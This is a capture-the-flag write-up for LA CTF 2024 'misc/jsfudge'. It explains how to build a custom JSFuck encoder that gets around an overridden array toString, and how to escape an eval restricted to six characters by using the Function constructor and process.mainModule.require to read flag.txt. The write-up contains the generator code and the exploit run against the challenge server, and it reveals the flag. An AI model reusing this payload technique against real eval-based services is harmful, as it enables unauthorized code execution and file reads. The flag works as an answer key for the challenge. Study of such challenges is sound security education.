13 KiB
| title | date | tags | |||
|---|---|---|---|---|---|
| LA CTF 2024: misc/jsfudge | 2024-02-21 |
|
Task
misc/jsfudge
JsFudge this JsFudge that, why don't you JsFudge the flag.
nc chall.lac.tf 31130
Author: r2dev2Points: 486Solves: 31 / 1074 (2.886%)
Writeup
This challenge prompts us for some JavaScript code to be evaluated and printed, with the constraint that the code must only consist of the characters ()+[]!.
It's pretty obvious that the challenge wants us to give it some JSFuck code, given the title and the fact that JSFuck also only uses ()+[]!.
Using an online JSFuck compiler, let's compile the following code:
require('fs').readFileSync('flag.txt')
// => [][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[]) ... (7384 chars total)
Now let's try giving this to the program:
$ xclip -o | node index.js
Gimme some js code to run
oopsie woopsie stinki poopie TypeError: Cannot read properties of undefined (reading 'eundefinednsundefinedrundefinedeundefinedundefinedr')
at eval (eval at runCode (/tmp/index.js:3:88), <anonymous>:1:69)
at runCode (/tmp/index.js:3:88)
at /tmp/index.js:6:164
at process.processTicksAndRejections (node:internal/process/task_queues:95:5)
Well that's not what we wanted.
After a closer look at index.js, we notice that the toString method for arrays has been overwritten:
// save the old array toString
const oldProto = [].__proto__.toString;
// replace it with a function that always returns '^w^'
[].__proto__.toString = () => '^w^';
// now converting any array to a string will return '^w^'
...
// eval our code
const codeRes = eval(code);
...
// restore array toString (not like it matters since the program will just exit after this anyways)
[].__proto__.toString = oldProto;
By default, converting an array to a string will result in the toString of each element joined by commas. Since JSFuck relies on this behavior, our compiled code does not function now that [].__proto__.toString has been overwritten.
We will have to implement our own JSFuck compiler, accounting for the new toString. However, we can copy many parts of the existing JSFuck compiler, as long as they do not rely on the value returned by [].__proto__.toString.
Let's start with some basic values:
let vals = {
// unary ! converts the value to a bool, and arrays are truthy, so negating one gives us false
false: '![]',
// the negation of false is true
true: '!![]',
// unary + converts the value to a number
// [] is first converted to a string though
// +"^w^" => NaN
// if toString wasn't changed through, this would produce 0 instead
// (one of the changes messing up the default implementation of JSFuck here)
// +"" => 0
NaN: '+[]',
// create an empty array, access the property [].toString()
// []["^w^"] => undefined
undefined: '[][[]]',
// converting false to a number gives us 0
0: '+![]',
// converting true to a number gives us 1
1: '+!![]',
// 1 + 1 = 2
2: '+!![]+!![]',
// 1 + 1 + 1 = 3
3: '+!![]+!![]+!![]',
// etc.
4: '+!![]+!![]+!![]+!![]',
5: '+!![]+!![]+!![]+!![]+!![]',
6: '+!![]+!![]+!![]+!![]+!![]+!![]',
7: '+!![]+!![]+!![]+!![]+!![]+!![]+!![]',
8: '+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]',
9: '+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]',
};
Let's also define ways to get specific characters:
let chars = {
// (false + [])[0]
// => ("false" + "^w^")[0]
// => "false^w^"[0]
// => "f"
f: `(![]+[])[+![]]`,
// "false^w^"[1], etc.
a: `(![]+[])[+!![]]`,
l: `(![]+[])[!![]+!![]]`,
s: `(![]+[])[!![]+!![]+!![]]`,
e: `(!![]+[])[!![]+!![]+!![]]`,
// (true + [])[0]
// => "true^w^"[0], etc.
t: `(!![]+[])[+![]]`,
r: `(!![]+[])[+!![]]`,
u: `(!![]+[])[+!![]+!![]]`,
// (NaN + [])[0]
// => "NaN^w^"[0]
N: `(+[]+[])[+![]]`,
// (0 + [])[0]
// => "0^w^"[0], etc
0: `(${vals[0]}+[])[+![]]`,
1: `(${vals[1]}+[])[+![]]`,
2: `(${vals[2]}+[])[+![]]`,
3: `(${vals[3]}+[])[+![]]`,
4: `(${vals[4]}+[])[+![]]`,
5: `(${vals[5]}+[])[+![]]`,
6: `(${vals[6]}+[])[+![]]`,
7: `(${vals[7]}+[])[+![]]`,
8: `(${vals[8]}+[])[+![]]`,
9: `(${vals[9]}+[])[+![]]`,
};
Now let's define a function to generate code to produce a string, by obtaining each character and concatenating:
function str(s) {
return s.split('').map(e => chars[e] ?? (console.log('undefined char:', e), process.exit(-1))).join('+')
}
Now that we can generate some strings, our next goal is to be able to execute strings as code. We can do this through the Function constructor, which takes a string argument and returns a function that executes the string when called. To obtain Function though, we will need a couple more characters.
// []['flat'] + []
// => (array.flat function) + []
// => 'function flat() { [native code] }' + '^w^'
// => 'function flat() { [native code] }^w^'
flat = `([][${str('flat')}]+[])`;
// 'function flat() { [native code] }^w^'[2], etc.
chars.n = flat + `[${vals[2]}]`;
chars.c = flat + `[${vals[3]}]`;
chars.o = flat + `[${vals[6]}]`;
// now we can spell 'constructor', but we will also need i, (, and ) for later
chars.i = flat + `[${vals[5]}]`;
chars['('] = flat + `[${str('13')}]`;
chars[')'] = flat + `[${str('14')}]`;
// []['flat']['constructor']
// => (array.flat function).constructor
// => Function
vals[Function] = `[][${str('flat')}][${str('constructor')}]`;
// we might as well get the Number and String constructors as well now, as we'll need them later too
// '^w^^w^'.constructor
vals[String] = `([]+[])[${str('constructor')}]`;
// NaN.constructor
vals[Number] = `(+[])[${str('constructor')}]`;
// now we can generate code that executes a given string
function call(code) {
return `${vals[Function]}(${str(code)})()`
}
We only need a few more characters to execute require("fs").readFileSync("flag.txt"):
// '^w^^w^'.fontcolor
// this function does the following:
// "string".fontcolor("blue") => '<font color="blue">string</font>'
fontcolor = `([]+[])[${str('fontcolor')}]`;
// '<font color="undefined">^w^</font>'[12]
chars['"'] = `${fontcolor}()[${str('12')}]`;
// '<font color=""">^w^</font>'[14]
chars.q = `${fontcolor}(${chars['"']})[${str('14')}]`;
// 'function String() { [native code] }^w^'[14]
chars.g = `(${vals[String]}+[])[${str('14')}]`;
// (+"11e20" + [])[1]
// => (1.1e21 + [])[1]
// => "1.1e21^w^"[1]
chars['.'] = `(+(${str('11e20')})+[])[${vals[1]}]`;
// "undefined^w^"[2]
chars.d = `(${vals[undefined]}+[])[${vals[2]}]`;
// (+"1e1000" + [])[7]
// => (1e1000 + [])[7]
// => (Infinity + [])[7]
// => "Infinity^w^"[7]
chars.y = `(+(${str('1e1000')})+[])[${vals[7]}]`;
// 'function String() { [native code] }^w^'[9]
chars.S = `(${vals[String]}+[])[${vals[9]}]`;
// 'function Function() { [native code] }^w^'[9]
chars.F = `(${vals[Function]}+[])[${vals[9]}]`;
// (+"101").toString("34")[1]
// => (101).toString(34)[1]
// => "2x"[1]
// (2x is 101 in base 34)
chars.x = `(+(${str('101')}))[${str('toString')}](${str('34')})[${vals[1]}]`;
// now we have all the characters we need
// we can't rely on the console.log in index.js though, since we are running this code in a function
// we would need to prefix this with "return " if we wanted to use that console.log,
// but that would require us to get an extra character, the space after return
console.log(call(`console.log(require("fs").readFileSync("flag.txt"))`));
// [][(![]+[])[+![]]+(![]+[])[!![]+!![]]+(![]+[] ... (11534 chars total)
Running our program now will generate JSFuck code to print the flag. Let's pipe this into the challenge and get our flag:
$ node jsfuck.js | nc chall.lac.tf 31130
Gimme some js code to run
oopsie woopsie stinki poopie ReferenceError: require is not defined
at eval (eval at <anonymous> (eval at runCode (/app/run:16:21)), <anonymous>:3:9)
at eval (eval at runCode (/app/run:16:21), <anonymous>:1:11532)
at runCode (/app/run:16:21)
at /app/run:31:5
at process.processTicksAndRejections (node:internal/process/task_queues:95:5)
We get another error, saying that require is not defined. That's odd, is require not able to used in an eval statement?
$ node
Welcome to Node.js v21.6.1.
Type ".help" for more information.
> eval('require')
[Function: require] {
resolve: [Function: resolve] { paths: [Function: paths] },
main: undefined,
extensions: [Object: null prototype] {
'.js': [Function (anonymous)],
'.json': [Function (anonymous)],
'.node': [Function (anonymous)]
},
cache: [Object: null prototype] {}
}
Nope, this works just fine. Maybe it's the call to the Function constructor that is preventing require from being accessed.
> eval('new Function("return require")()')
[Function: require] {
resolve: [Function: resolve] { paths: [Function: paths] },
main: undefined,
extensions: [Object: null prototype] {
'.js': [Function (anonymous)],
'.json': [Function (anonymous)],
'.node': [Function (anonymous)]
},
cache: [Object: null prototype] {}
}
This also doesn't seem to be a problem.
What's happening here is very subtle. In Node.js, although require appears to be part of the global scope, it actually belongs to the module scope. When a module is executed, it is wrapped into the following function to provide the values in module scope:
(function(exports, require, module, __filename, __dirname) {
// Module code actually lives in here
});
For functions created with the Function constructor, the code is run in the global scope, so the module scope is not available.
So why were we able to get require in the code above? When Node.js is either run as a REPL or by piping a script into node, require is added to the global scope, letting us use it in code run through the Function constructor. (This caused me a lot of trouble since I was using a REPL to test my code). We can see this in action by running the following commands:
$ echo "console.log(global.require === require)" > /tmp/test.js
$ cat /tmp/test.js | node
true
$ node /tmp/test.js
false
$ node
Welcome to Node.js v21.6.1.
Type ".help" for more information.
> global.require === require
true
So if we are unable to access require directly, is all hope lost?
It turns out that we can still access require through process.mainModule.require, requiring us to get some more characters:
// (+"211").toString("31")[1]
// => (211).toString(31)[1]
// => "6p"[1]
chars.p = `(+(${str('211')}))[${str('toString')}](${str('31')})[${vals[1]}]`;
// "function Number() { [native code] }^w^"[11]
chars.m = `(${vals[Number]}+[])[${str('11')}]`;
// "function flat() { [native code] }^w^"[8]
chars[' '] = `([][${str('flat')}]+[])[${vals[8]}]`;
// Function("return escape")()([]["flat"])["54"]
// => escape([].flat)[54]
// => escape("function flat() { [native code] }")[54]
// => "function%20flat%28%29%20%7B%20%5Bnative%20code%5D%20%7D"[54]
// => "D"
chars.D = `${call('return escape')}([][${str('flat')}])[${str('54')}]`;
// Function("return Date")()()["26"]
// => Date()[26]
// => "Sun Feb 18 2024 00:00:00 GMT-0600 (Central Standard Time)"[26]
// (the part before "M" is always the same length, regardless of the actual date)
// => "M"
chars.M = `${call('return Date')}()[${str('26')}]`;
console.log(call(`console.log(process.mainModule.require("fs").readFileSync("flag.txt"))`));
// [][(![]+[])[+![]]+(![]+[])[!![]+!![]]+(![]+[] ... (19114 chars total)
Finally, we can generate code that will actually work:
$ node jsfuck.js | nc chall.lac.tf 31130
Gimme some js code to run
<Buffer 6c 61 63 74 66 7b 64 30 5f 79 30 75 5f 66 33 33 31 5f 70 72 30 75 64 7d 0a>
oopsie woopsie stinki poopie TypeError: Cannot read properties of undefined (reading 'toString')
at runCode (/app/run:17:25)
at /app/run:31:5
at process.processTicksAndRejections (node:internal/process/task_queues:95:5)
$ echo "6c 61 63 74 66 7b 64 30 5f 79 30 75 5f 66 33 33 31 5f 70 72 30 75 64 7d 0a" | xxd -r -p
lactf{d0_y0u_f331_pr0ud}
Decoding the hex bytes of the buffer, we get the flag: lactf{d0_y0u_f331_pr0ud}